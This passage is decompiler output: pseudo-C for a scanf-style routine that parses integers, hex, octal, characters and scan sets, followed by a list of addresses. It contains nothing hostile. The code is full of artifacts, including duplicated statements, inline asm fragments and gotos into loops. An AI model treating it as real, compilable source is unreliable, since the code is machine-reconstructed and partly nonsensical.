																							L271:
																							 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																							 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																							__edx =  *(__ebp - 0xc);
																							__edx =  *(__ebp - 0xc) + 1;
																							__eflags = __edx;
																							 *(__ebp - 0xc) = __edx;
																							__eax =  *(__ebp + 8);
																							 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																							goto L272;
																						}
																						L269:
																						 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																						 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x2d;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																						goto L271;
																					case 3:
																						L168:
																						 *((intOrPtr*)(__ebp - 0x44)) = 0x64;
																						goto L169;
																					case 4:
																						L265:
																						__eax =  *(__ebp - 0xc);
																						 *(__ebp - 0x220) =  *(__ebp - 0xc);
																						__ecx =  *((char*)(__ebp - 0x12));
																						__eflags = __ecx;
																						if(__ecx != 0) {
																							L267:
																							while(1) {
																								L318:
																								 *(_t1220 - 0x1e9) =  *(_t1220 - 0x1e9) + 1;
																								 *(_t1220 + 0xc) =  *(_t1220 + 0xc) + 1;
																								goto L330;
																							}
																						}
																						L266:
																						goto L257;
																					case 5:
																						L190:
																						 *(__ebp - 0x1d) = 1;
																						goto L191;
																					case 6:
																						L75:
																						__edx =  *((char*)(__ebp - 0x215));
																						__eflags =  *((char*)(__ebp - 0x215));
																						if( *((char*)(__ebp - 0x215)) > 0) {
																							__al =  *(__ebp - 0x29);
																							__al =  *(__ebp - 0x29) + 1;
																							__eflags = __al;
																							 *(__ebp - 0x29) = __al;
																						}
																						L77:
																						while(1) {
																							L103:
																							 *(_t1220 - 0x48) =  *(_t1220 - 0x7c);
																							_t999 =  *(_t1220 - 0xc) - 1;
																							 *(_t1220 - 0xc) =  *(_t1220 - 0xc) - 1;
																							E0041CFD0( *(_t1220 - 0x21c),  *(_t1220 + 8));
																							_t1224 = _t1223 + 8;
																							__eflags =  *(_t1220 - 0x44) - 0x63;
																							if( *(_t1220 - 0x44) != 0x63) {
																								_t999 =  *(_t1220 - 0x18) - 1;
																								__eflags = _t999;
																								 *(_t1220 - 0x18) = _t999;
																							}
																							L105:
																							__eflags =  *(_t1220 - 0x1f0);
																							if( *(_t1220 - 0x1f0) == 0) {
																								goto L107;
																							}
																							goto L106;
																						}
																					case 7:
																						L169:
																						__eflags =  *(__ebp - 0x21c) - 0x2d;
																						if( *(__ebp - 0x21c) != 0x2d) {
																							L171:
																							__eflags =  *(__ebp - 0x21c) - 0x2b;
																							if( *(__ebp - 0x21c) != 0x2b) {
																								L176:
																								__eflags =  *(__ebp - 0x21c) - 0x30;
																								if( *(__ebp - 0x21c) != 0x30) {
																									L189:
																									L198:
																									__eflags =  *(__ebp - 0x30);
																									if( *(__ebp - 0x30) == 0) {
																										while(1) {
																											L226:
																											__eax =  *(__ebp - 0x1e);
																											__eflags =  *(__ebp - 0x1e);
																											if( *(__ebp - 0x1e) != 0) {
																												break;
																											}
																											L227:
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																											if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																												L229:
																												__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																												__eax = E00425180( *(__ebp - 0x21c) & 0x000000ff);
																												__eflags = __eax;
																												if(__eax == 0) {
																													__cl =  *(__ebp - 0x1e);
																													__cl =  *(__ebp - 0x1e) + 1;
																													__eflags = __cl;
																													 *(__ebp - 0x1e) = __cl;
																												} else {
																													 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																													 *(__ebp - 0x220) =  *(__ebp - 0x220) << 4;
																													__eax =  *(__ebp - 0x21c) & 0x000000ff;
																													 *(__ebp - 0x21c) = E0041CF30(__ecx,  *(__ebp - 0x21c) & 0x000000ff);
																												}
																												L242:
																												__eax =  *(__ebp - 0x1e);
																												__eflags =  *(__ebp - 0x1e);
																												if( *(__ebp - 0x1e) != 0) {
																													L248:
																													__eax =  *(__ebp - 0xc);
																													__eax =  *(__ebp - 0xc) - 1;
																													__eflags = __eax;
																													 *(__ebp - 0xc) = __eax;
																													__ecx =  *(__ebp + 8);
																													__edx =  *(__ebp - 0x21c);
																													__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																													L249:
																													continue;
																												}
																												L243:
																												 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																												 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																												__edx =  *(__ebp - 0x21c);
																												__eax =  *(__ebp - 0x220);
																												__ecx =  *(__ebp - 0x220) +  *(__ebp - 0x21c) - 0x30;
																												 *(__ebp - 0x220) = __ecx;
																												__eflags =  *(__ebp - 0x1f0);
																												if( *(__ebp - 0x1f0) == 0) {
																													L246:
																													__ecx =  *(__ebp - 0xc);
																													__ecx =  *(__ebp - 0xc) + 1;
																													__eflags = __ecx;
																													 *(__ebp - 0xc) = __ecx;
																													__edx =  *(__ebp + 8);
																													 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																													L247:
																													goto L249;
																												}
																												L244:
																												__edx =  *(__ebp - 0x78);
																												__edx =  *(__ebp - 0x78) - 1;
																												__eflags = __edx;
																												 *(__ebp - 0x78) = __edx;
																												if(__edx != 0) {
																													goto L246;
																												}
																												L245:
																												 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																												 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																												goto L247;
																											}
																											L228:
																											__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																											if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																												L233:
																												__edx =  *(__ebp - 0x21c) & 0x000000ff;
																												__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																												__eflags = __eax;
																												if(__eax == 0) {
																													__dl =  *(__ebp - 0x1e);
																													__dl =  *(__ebp - 0x1e) + 1;
																													__eflags = __dl;
																													 *(__ebp - 0x1e) = __dl;
																												} else {
																													__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																													if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																														__edx =  *(__ebp - 0x220);
																														__eax =  *(__ebp - 0x220);
																														__ecx = __eax + __edx * 4;
																														__ecx = __eax + __edx * 4 << 1;
																														__eflags = __ecx;
																														 *(__ebp - 0x220) = __ecx;
																													} else {
																														__eflags =  *(__ebp - 0x21c) - 0x38;
																														if( *(__ebp - 0x21c) >= 0x38) {
																															__cl =  *(__ebp - 0x1e);
																															__cl =  *(__ebp - 0x1e) + 1;
																															__eflags = __cl;
																															 *(__ebp - 0x1e) = __cl;
																														} else {
																															 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																															 *(__ebp - 0x220) =  *(__ebp - 0x220) << 3;
																														}
																													}
																												}
																												goto L242;
																											}
																											goto L229;
																										}
																										L250:
																										__eax =  *((char*)(__ebp - 2));
																										__eflags =  *((char*)(__ebp - 2));
																										if( *((char*)(__ebp - 2)) != 0) {
																											__ecx =  *(__ebp - 0x220);
																											__ecx =  ~( *(__ebp - 0x220));
																											 *(__ebp - 0x220) = __ecx;
																										}
																										L252:
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x46;
																										if( *((intOrPtr*)(__ebp - 0x44)) == 0x46) {
																											 *(__ebp - 0x1f4) = 0;
																										}
																										__eflags =  *(__ebp - 0x1f4);
																										if( *(__ebp - 0x1f4) == 0) {
																											L263:
																											goto L335;
																										} else {
																											L255:
																											__edx =  *((char*)(__ebp - 0x12));
																											__eflags =  *((char*)(__ebp - 0x12));
																											if( *((char*)(__ebp - 0x12)) != 0) {
																												L262:
																												while(1) {
																													L318:
																													 *(_t1220 - 0x1e9) =  *(_t1220 - 0x1e9) + 1;
																													 *(_t1220 + 0xc) =  *(_t1220 + 0xc) + 1;
																													goto L330;
																												}
																											}
																											L256:
																											__eax =  *(__ebp - 8);
																											__eax =  *(__ebp - 8) + 1;
																											__eflags = __eax;
																											 *(__ebp - 8) = __eax;
																											L257:
																											__eflags =  *(__ebp - 0x30);
																											if( *(__ebp - 0x30) == 0) {
																												__ecx =  *(__ebp - 0x1d);
																												__eflags = __ecx;
																												if(__ecx == 0) {
																													__ecx =  *(__ebp - 0x7c);
																													 *__ecx =  *(__ebp - 0x220);
																												} else {
																													__edx =  *(__ebp - 0x7c);
																													__eax =  *(__ebp - 0x220);
																													 *( *(__ebp - 0x7c)) =  *(__ebp - 0x220);
																												}
																											} else {
																												__ecx =  *(__ebp - 0x7c);
																												__edx =  *(__ebp - 0x200);
																												 *__ecx =  *(__ebp - 0x200);
																												__eax =  *(__ebp - 0x1fc);
																												 *(__ecx + 4) =  *(__ebp - 0x1fc);
																											}
																											goto L262;
																										}
																									} else {
																										goto L199;
																									}
																									while(1) {
																										L199:
																										__edx =  *(__ebp - 0x1e);
																										__eflags = __edx;
																										if(__edx != 0) {
																											break;
																										}
																										L200:
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																										if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																											L202:
																											__eax =  *(__ebp - 0x21c) & 0x000000ff;
																											__eax = E00425180( *(__ebp - 0x21c) & 0x000000ff);
																											__eflags = __eax;
																											if(__eax == 0) {
																												__dl =  *(__ebp - 0x1e);
																												__dl =  *(__ebp - 0x1e) + 1;
																												__eflags = __dl;
																												 *(__ebp - 0x1e) = __dl;
																											} else {
																												__eax =  *(__ebp - 0x200);
																												__edx =  *(__ebp - 0x1fc);
																												__cl = 4;
																												 *(__ebp - 0x200) = E00425520( *(__ebp - 0x200), __ecx, __edx);
																												 *(__ebp - 0x1fc) = __edx;
																												__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																												 *(__ebp - 0x21c) = E0041CF30( *(__ebp - 0x21c) & 0x000000ff,  *(__ebp - 0x21c) & 0x000000ff);
																											}
																											L215:
																											__eax =  *(__ebp - 0x1e);
																											__eflags =  *(__ebp - 0x1e);
																											if( *(__ebp - 0x1e) != 0) {
																												L221:
																												__eax =  *(__ebp - 0xc);
																												__eax =  *(__ebp - 0xc) - 1;
																												__eflags = __eax;
																												 *(__ebp - 0xc) = __eax;
																												__ecx =  *(__ebp + 8);
																												__edx =  *(__ebp - 0x21c);
																												__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																												L222:
																												continue;
																											}
																											L216:
																											__ecx =  *(__ebp - 0x1f4);
																											__ecx =  *(__ebp - 0x1f4) + 1;
																											 *(__ebp - 0x1f4) = __ecx;
																											 *(__ebp - 0x21c) =  *(__ebp - 0x21c) - 0x30;
																											asm("cdq");
																											__eax =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																											asm("adc edx, [ebp-0x1fc]");
																											 *(__ebp - 0x200) =  *(__ebp - 0x21c) - 0x30 +  *(__ebp - 0x200);
																											 *(__ebp - 0x1fc) = __edx;
																											__eflags =  *(__ebp - 0x1f0);
																											if( *(__ebp - 0x1f0) == 0) {
																												L219:
																												__ecx =  *(__ebp - 0xc);
																												__ecx =  *(__ebp - 0xc) + 1;
																												__eflags = __ecx;
																												 *(__ebp - 0xc) = __ecx;
																												__edx =  *(__ebp + 8);
																												 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																												L220:
																												goto L222;
																											}
																											L217:
																											__edx =  *(__ebp - 0x78);
																											__edx =  *(__ebp - 0x78) - 1;
																											__eflags = __edx;
																											 *(__ebp - 0x78) = __edx;
																											if(__edx != 0) {
																												goto L219;
																											}
																											L218:
																											 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																											 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																											goto L220;
																										}
																										L201:
																										__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x70;
																										if( *((intOrPtr*)(__ebp - 0x44)) != 0x70) {
																											L206:
																											__eax =  *(__ebp - 0x21c) & 0x000000ff;
																											__eax = E004250C0( *(__ebp - 0x21c) & 0x000000ff);
																											__eflags = __eax;
																											if(__eax == 0) {
																												__dl =  *(__ebp - 0x1e);
																												__dl =  *(__ebp - 0x1e) + 1;
																												__eflags = __dl;
																												 *(__ebp - 0x1e) = __dl;
																											} else {
																												__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x6f;
																												if( *((intOrPtr*)(__ebp - 0x44)) != 0x6f) {
																													__eax =  *(__ebp - 0x200);
																													__edx =  *(__ebp - 0x1fc);
																													__cl = 2;
																													__eax = E00425520( *(__ebp - 0x200), __ecx, __edx);
																													__eax = __eax +  *(__ebp - 0x200);
																													__eflags = __eax;
																													asm("adc edx, [ebp-0x1fc]");
																													__cl = 1;
																													 *(__ebp - 0x200) = __eax;
																													 *(__ebp - 0x1fc) = __edx;
																												} else {
																													__eflags =  *(__ebp - 0x21c) - 0x38;
																													if( *(__ebp - 0x21c) >= 0x38) {
																														__cl =  *(__ebp - 0x1e);
																														__cl =  *(__ebp - 0x1e) + 1;
																														__eflags = __cl;
																														 *(__ebp - 0x1e) = __cl;
																													} else {
																														__eax =  *(__ebp - 0x200);
																														__edx =  *(__ebp - 0x1fc);
																														__cl = 3;
																														 *(__ebp - 0x200) = E00425520( *(__ebp - 0x200), __ecx, __edx);
																														 *(__ebp - 0x1fc) = __edx;
																													}
																												}
																											}
																											goto L215;
																										}
																										goto L202;
																									}
																									L223:
																									__eax =  *((char*)(__ebp - 2));
																									__eflags =  *((char*)(__ebp - 2));
																									if( *((char*)(__ebp - 2)) != 0) {
																										__ecx =  *(__ebp - 0x200);
																										__ecx =  ~( *(__ebp - 0x200));
																										__edx =  *(__ebp - 0x1fc);
																										asm("adc edx, 0x0");
																										__edx =  ~( *(__ebp - 0x1fc));
																										 *(__ebp - 0x200) = __ecx;
																										 *(__ebp - 0x1fc) =  ~( *(__ebp - 0x1fc));
																									}
																									goto L252;
																								}
																								L177:
																								 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																								 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																								__edx =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																								__eax =  *(__ebp - 0x21c);
																								__eflags =  *(__ebp - 0x21c) - 0x78;
																								if( *(__ebp - 0x21c) == 0x78) {
																									L179:
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																									 *(__ebp - 0xc) =  *(__ebp - 0xc) + 1;
																									__eax =  *(__ebp + 8);
																									 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																									__eflags =  *(__ebp - 0x1f0);
																									if( *(__ebp - 0x1f0) != 0) {
																										__ecx =  *(__ebp - 0x78);
																										__ecx =  *(__ebp - 0x78) - 2;
																										 *(__ebp - 0x78) = __ecx;
																										__eflags =  *(__ebp - 0x78) - 1;
																										if( *(__ebp - 0x78) < 1) {
																											__dl =  *(__ebp - 0x1e);
																											__dl =  *(__ebp - 0x1e) + 1;
																											__eflags = __dl;
																											 *(__ebp - 0x1e) = __dl;
																										}
																									}
																									 *((intOrPtr*)(__ebp - 0x44)) = 0x78;
																									goto L189;
																								}
																								L178:
																								__ecx =  *(__ebp - 0x21c);
																								__eflags = __ecx - 0x58;
																								if(__ecx != 0x58) {
																									L183:
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																									__eflags =  *((intOrPtr*)(__ebp - 0x44)) - 0x78;
																									if( *((intOrPtr*)(__ebp - 0x44)) == 0x78) {
																										__eax =  *(__ebp - 0xc);
																										__eax =  *(__ebp - 0xc) - 1;
																										__eflags = __eax;
																										 *(__ebp - 0xc) = __eax;
																										__ecx =  *(__ebp + 8);
																										__edx =  *(__ebp - 0x21c);
																										__eax = E0041CFD0( *(__ebp - 0x21c),  *(__ebp + 8));
																										 *(__ebp - 0x21c) = 0x30;
																									} else {
																										__eflags =  *(__ebp - 0x1f0);
																										if( *(__ebp - 0x1f0) != 0) {
																											__ecx =  *(__ebp - 0x78);
																											__ecx =  *(__ebp - 0x78) - 1;
																											__eflags = __ecx;
																											 *(__ebp - 0x78) = __ecx;
																											if(__ecx == 0) {
																												__dl =  *(__ebp - 0x1e);
																												__dl =  *(__ebp - 0x1e) + 1;
																												__eflags = __dl;
																												 *(__ebp - 0x1e) = __dl;
																											}
																										}
																										 *((intOrPtr*)(__ebp - 0x44)) = 0x6f;
																									}
																									goto L189;
																								}
																								goto L179;
																							}
																							L172:
																							__eax =  *(__ebp - 0x78);
																							__eax =  *(__ebp - 0x78) - 1;
																							__eflags = __eax;
																							 *(__ebp - 0x78) = __eax;
																							if(__eax != 0) {
																								L175:
																								__edx =  *(__ebp - 0xc);
																								__edx =  *(__ebp - 0xc) + 1;
																								__eflags = __edx;
																								 *(__ebp - 0xc) = __edx;
																								__eax =  *(__ebp + 8);
																								 *(__ebp - 0x21c) = E0041CF70( *(__ebp + 8));
																								goto L176;
																							}
																							L173:
																							__eflags =  *(__ebp - 0x1f0);
																							if( *(__ebp - 0x1f0) == 0) {
																								goto L175;
																							}
																							L174:
																							 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																							 *(__ebp - 0x1e) =  *(__ebp - 0x1e) + 1;
																							goto L176;
																						}
																						L170:
																						 *((intOrPtr*)(__ebp - 2)) =  *((intOrPtr*)(__ebp - 2)) + 1;
																						 *((char*)(__ebp - 2)) =  *((intOrPtr*)(__ebp - 2)) + 1;
																						goto L172;
																					case 8:
																						goto L0;
																					case 9:
																						goto L313;
																				}
																			}
																			L60:
																			__eflags =  *(_t1220 - 0x44) - 0x63;
																			if( *(_t1220 - 0x44) == 0x63) {
																				L63:
																				 *((intOrPtr*)(_t1220 + 0x14)) =  *((intOrPtr*)(_t1220 - 0x1c));
																				 *((intOrPtr*)(_t1220 + 0x14)) =  *((intOrPtr*)(_t1220 + 0x14)) + 4;
																				 *(_t1220 - 0x7c) =  *( *((intOrPtr*)(_t1220 + 0x14)) - 4);
																				 *((intOrPtr*)(_t1220 - 0x1c)) =  *((intOrPtr*)(_t1220 + 0x14));
																				 *((intOrPtr*)(_t1220 + 0x14)) =  *((intOrPtr*)(_t1220 + 0x14)) + 4;
																				 *(_t1220 - 0x18) =  *( *((intOrPtr*)(_t1220 + 0x14)) - 4);
																				_t1045 =  *(_t1220 - 0x18);
																				 *(_t1220 - 0x34) =  *(_t1220 - 0x18);
																				__eflags =  *(_t1220 - 0x18) - 1;
																				if( *(_t1220 - 0x18) >= 1) {
																					goto L68;
																				} else {
																					_t1123 =  *(_t1220 - 0x215);
																					__eflags =  *(_t1220 - 0x215);
																					if( *(_t1220 - 0x215) <= 0) {
																						_t1123 =  *(_t1220 - 0x7c);
																						 *( *(_t1220 - 0x7c)) = 0;
																					} else {
																						_t1045 =  *(_t1220 - 0x7c);
																						 *( *(_t1220 - 0x7c)) = 0;
																					}
																					 *((intOrPtr*)(L0041A7C0(_t1045))) = 0xc;
																					goto L335;
																				}
																			}
																			L61:
																			__eflags =  *(_t1220 - 0x44) - 0x73;
																			if( *(_t1220 - 0x44) == 0x73) {
																				goto L63;
																			}
																			L62:
																			__eflags =  *(_t1220 - 0x44) - 0x7b;
																			if( *(_t1220 - 0x44) != 0x7b) {
																				goto L68;
																			}
																			goto L63;
																		}
																		L58:
																		__eflags =  *(_t1220 - 0x78);
																		if( *(_t1220 - 0x78) == 0) {
																			L319:
																			 *(_t1220 - 0xc) =  *(_t1220 - 0xc) - 1;
																			_t1123 =  *(_t1220 - 0x21c);
																			E0041CFD0( *(_t1220 - 0x21c),  *(_t1220 + 8));
																			_t1224 = _t1224 + 8;
																			goto L335;
																		}
																		goto L59;
																	}
																	L55:
																	__eflags =  *(_t1220 - 0x21c) - 0xffffffff;
																	if( *(_t1220 - 0x21c) != 0xffffffff) {
																		goto L57;
																	} else {
																		goto L335;
																	}
																}
																L50:
																__eflags =  *(_t1220 - 0x44) - 0x63;
																if( *(_t1220 - 0x44) == 0x63) {
																	L53:
																	_t1123 =  *(_t1220 - 0xc) + 1;
																	__eflags = _t1123;
																	 *(_t1220 - 0xc) = _t1123;
																	_t897 = E0041CF70( *(_t1220 + 8));
																	_t1224 = _t1224 + 4;
																	 *(_t1220 - 0x21c) = _t897;
																	goto L54;
																}
																L51:
																__eflags =  *(_t1220 - 0x44) - 0x7b;
																if( *(_t1220 - 0x44) == 0x7b) {
																	goto L53;
																} else {
																	_t899 = E0041CFF0(_t1220 - 0xc, _t1220 - 0xc,  *(_t1220 + 8));
																	_t1224 = _t1224 + 8;
																	 *(_t1220 - 0x21c) = _t899;
																	goto L54;
																}
															} else {
																L45:
																__eflags = ( *( *(_t1220 + 0xc)) & 0x000000ff) - 0x53;
																if(( *( *(_t1220 + 0xc)) & 0x000000ff) == 0x53) {
																	L47:
																	 *(_t1220 - 0x215) =  *(_t1220 - 0x215) + 1;
																	goto L49;
																}
																L46:
																__eflags = ( *( *(_t1220 + 0xc)) & 0x000000ff) - 0x43;
																if(( *( *(_t1220 + 0xc)) & 0x000000ff) != 0x43) {
																	_t902 =  *(_t1220 - 0x215) - 1;
																	__eflags = _t902;
																	 *(_t1220 - 0x215) = _t902;
																	goto L49;
																}
																goto L47;
															}
														}
													} else {
														 *(_t1220 - 0xc) =  *(_t1220 - 0xc) - 1;
														E0041CFD0(E0041CFF0( *(_t1220 + 8), _t1220 - 0xc,  *(_t1220 + 8)),  *(_t1220 + 8));
														_t1230 = _t1224 + 0x10;
														do {
															L4:
															 *(_t1220 + 0xc) =  *(_t1220 + 0xc) + 1;
															 *(_t1220 - 0x71) =  *( *(_t1220 + 0xc));
															_t920 = E00425240( *(_t1220 - 0x71) & 0x000000ff);
															_t1230 = _t1230 + 4;
														} while (_t920 != 0);
														continue;
													}
												}
												goto L335;
											}
										}
									}
									L129:
									 *((intOrPtr*)(L0041A7C0(_t999))) = 0xc;
									__eflags =  *(_t1220 - 0x29);
									if( *(_t1220 - 0x29) == 0) {
										_t1123 =  *(_t1220 - 0x48);
										 *( *(_t1220 - 0x48)) = 0;
										__eflags =  *(_t1220 - 0x34) - 0xffffffff;
										if( *(_t1220 - 0x34) != 0xffffffff) {
											__eflags =  *(_t1220 - 0x34) - 0x7fffffff;
											if( *(_t1220 - 0x34) != 0x7fffffff) {
												__eflags =  *(_t1220 - 0x34) - 1;
												if( *(_t1220 - 0x34) > 1) {
													__eflags =  *0x43e408 -  *(_t1220 - 0x34) - 1; // 0xffffffff
													if(__eflags >= 0) {
														_t1123 =  *(_t1220 - 0x34) - 1;
														__eflags = _t1123;
														 *(_t1220 - 0x268) = _t1123;
													} else {
														_t1076 =  *0x43e408; // 0xffffffff
														 *(_t1220 - 0x268) = _t1076;
													}
													__eflags =  *(_t1220 - 0x48) + 1;
													E00422580( *(_t1220 - 0x48) + 1, 0xfe,  *(_t1220 - 0x268));
													_t1224 = _t1224 + 0xc;
												}
											}
										}
									} else {
										_t1123 =  *(_t1220 - 0x48);
										 *( *(_t1220 - 0x48)) = 0;
										__eflags =  *(_t1220 - 0x34) - 0xffffffff;
										if( *(_t1220 - 0x34) != 0xffffffff) {
											__eflags =  *(_t1220 - 0x34) - 0x7fffffff;
											if( *(_t1220 - 0x34) != 0x7fffffff) {
												__eflags =  *(_t1220 - 0x34) - 1;
												if( *(_t1220 - 0x34) > 1) {
													__eflags =  *0x43e408 -  *(_t1220 - 0x34) - 1; // 0xffffffff
													if(__eflags >= 0) {
														_t1123 =  *(_t1220 - 0x34) - 1;
														__eflags = _t1123;
														 *(_t1220 - 0x264) = _t1123;
													} else {
														_t1080 =  *0x43e408; // 0xffffffff
														 *(_t1220 - 0x264) = _t1080;
													}
													__eflags =  *(_t1220 - 0x48) + 2;
													E00422580( *(_t1220 - 0x48) + 2, 0xfe,  *(_t1220 - 0x264) << 1);
													_t1224 = _t1224 + 0xc;
												}
											}
										}
									}
									goto L335;
								}
								L107:
								 *(_t1220 - 0xc) =  *(_t1220 - 0xc) + 1;
								_t836 = E0041CF70( *(_t1220 + 8));
								_t1224 = _t1224 + 4;
								 *(_t1220 - 0x21c) = _t836;
								__eflags =  *(_t1220 - 0x21c) - 0xffffffff;
								if( *(_t1220 - 0x21c) == 0xffffffff) {
									L126:
									 *(_t1220 - 0xc) =  *(_t1220 - 0xc) - 1;
									_t999 =  *(_t1220 + 8);
									E0041CFD0( *(_t1220 - 0x21c),  *(_t1220 + 8));
									_t1224 = _t1224 + 8;
									goto L128;
								}
								L108:
								__eflags =  *(_t1220 - 0x44) - 0x63;
								if( *(_t1220 - 0x44) == 0x63) {
									L115:
									_t999 =  *((char*)(_t1220 - 0x12));
									__eflags =  *((char*)(_t1220 - 0x12));
									if( *((char*)(_t1220 - 0x12)) != 0) {
										L124:
										_t1184 =  *(_t1220 - 0x48) + 1;
										__eflags = _t1184;
										 *(_t1220 - 0x48) = _t1184;
										L125:
										continue;
									}
									L116:
									__eflags =  *(_t1220 - 0x18);
									if( *(_t1220 - 0x18) != 0) {
										L118:
										__eflags =  *(_t1220 - 0x29);
										if( *(_t1220 - 0x29) == 0) {
											 *( *(_t1220 - 0x7c)) =  *(_t1220 - 0x21c);
											 *(_t1220 - 0x7c) =  *(_t1220 - 0x7c) + 1;
											_t999 =  *(_t1220 - 0x18) - 1;
											__eflags = _t999;
											 *(_t1220 - 0x18) = _t999;
										} else {
											 *((char*)(_t1220 - 0x238)) =  *(_t1220 - 0x21c);
											_t957 = E00425500( *(_t1220 - 0x21c) & 0x000000ff);
											_t1231 = _t1224 + 4;
											__eflags = _t957;
											if(_t957 != 0) {
												_t1193 =  *(_t1220 - 0xc) + 1;
												__eflags = _t1193;
												 *(_t1220 - 0xc) = _t1193;
												_t966 = E0041CF70( *(_t1220 + 8));
												_t1231 = _t1231 + 4;
												 *((char*)(_t1220 - 0x237)) = _t966;
											}
											 *((short*)(_t1220 - 0x3c)) = 0x3f;
											_t958 = E0041B2D0(_t1220 - 0x214);
											E00425270(_t1220 - 0x3c, _t1220 - 0x238,  *((intOrPtr*)( *((intOrPtr*)(E0041B2D0(_t1220 - 0x214))) + 0xac)), _t958);
											_t1224 = _t1231 + 0x10;
											_t999 =  *((intOrPtr*)(_t1220 - 0x3c));
											 *( *(_t1220 - 0x7c)) =  *((intOrPtr*)(_t1220 - 0x3c));
											 *(_t1220 - 0x7c) =  *(_t1220 - 0x7c) + 2;
											 *(_t1220 - 0x18) =  *(_t1220 - 0x18) - 1;
										}
										goto L125;
									}
									L117:
									 *(_t1220 - 0x40) = 1;
									goto L128;
								}
								L109:
								__eflags =  *(_t1220 - 0x44) - 0x73;
								if( *(_t1220 - 0x44) != 0x73) {
									L113:
									__eflags =  *(_t1220 - 0x44) - 0x7b;
									if( *(_t1220 - 0x44) != 0x7b) {
										goto L126;
									}
									L114:
									_t968 =  *(_t1220 - 0x21c) >> 3;
									_t1088 =  *((intOrPtr*)(_t1220 - 0x4c));
									__eflags = ( *(_t1088 + _t968) ^  *(_t1220 - 3)) & 0x00000001 << ( *(_t1220 - 0x21c) & 0x00000007);
									if((( *(_t1088 + _t968) ^  *(_t1220 - 3)) & 0x00000001 << ( *(_t1220 - 0x21c) & 0x00000007)) == 0) {
										goto L126;
									}
									goto L115;
								}
								L110:
								__eflags =  *(_t1220 - 0x21c) - 9;
								if( *(_t1220 - 0x21c) < 9) {
									L112:
									__eflags =  *(_t1220 - 0x21c) - 0x20;
									if( *(_t1220 - 0x21c) != 0x20) {
										goto L115;
									}
									goto L113;
								}
								L111:
								__eflags =  *(_t1220 - 0x21c) - 0xd;
								if( *(_t1220 - 0x21c) <= 0xd) {
									goto L113;
								}
								goto L112;
							}
						}
					}
					L100:
					goto L335;
				}
			}

0x0041bae0
0x0041bae0
0x0041bae0
0x0041bae0
0x0041bae9
0x0041baeb
0x0041baee
0x0041baee
0x0041baf1
0x0041baf1
0x0041baf4
0x0041bafa
0x0041bb00
0x0041bb09
0x0041bb0c
0x0041bb14
0x0041bb1a
0x0041bb1a
0x0041bb1d
0x0041bb1d
0x0041bb28
0x0041bb2d
0x0041bb30
0x0041bb34
0x0041bb3c
0x0041bb3f
0x0041bb41
0x0041bb48
0x0041bb48
0x0041bb4b
0x0041bb51
0x0041bb51
0x0041bb3f
0x0041bb55
0x0041bb55
0x0041bb5b
0x0041bb5e
0x00000000
0x00000000
0x0041bb64
0x0041bb69
0x0041bb72
0x0041bb79
0x0041bb7c
0x0041bb91
0x0041bb94
0x0041bbbf
0x0041bc70
0x0041bc74
0x0041bc74
0x0041bc74
0x00000000
0x0041bc74
0x0041bb7e
0x0041bb82
0x0041bb84
0x00000000
0x00000000
0x0041bb86
0x0041bb8c
0x0041bb8f
0x0041bbc7
0x0041bbcc
0x0041bbd5
0x0041bbe0
0x0041bbe2
0x0041bbef
0x0041bbf5
0x0041bbe4
0x0041bbe7
0x0041bbe7
0x0041bbfb
0x0041bc08
0x0041bc08
0x0041bc10
0x0041bc12
0x00000000
0x00000000
0x0041bc14
0x0041bc3c
0x0041bc03
0x0041bc03
0x0041bc05
0x0041bc05
0x0041bc41
0x0041bc5d
0x0041bc5d
0x0041bc69
0x0041bc6c
0x00000000
0x0041bc6c
0x00000000
0x0041bb8f
0x0041bc75
0x0041bc7b
0x0041bc7d
0x0041bc84
0x0041bc84
0x0041bc88
0x0041bc8d
0x0041bc8d
0x0041bc90
0x0041bc90
0x0041bc93
0x0041bc99
0x0041bc9c
0x0041bcaa
0x0041bcaf
0x0041bcb2
0x0041bcb6
0x0041bcbb
0x0041bcbb
0x0041bcbe
0x0041bcbe
0x0041bcc1
0x0041bcc1
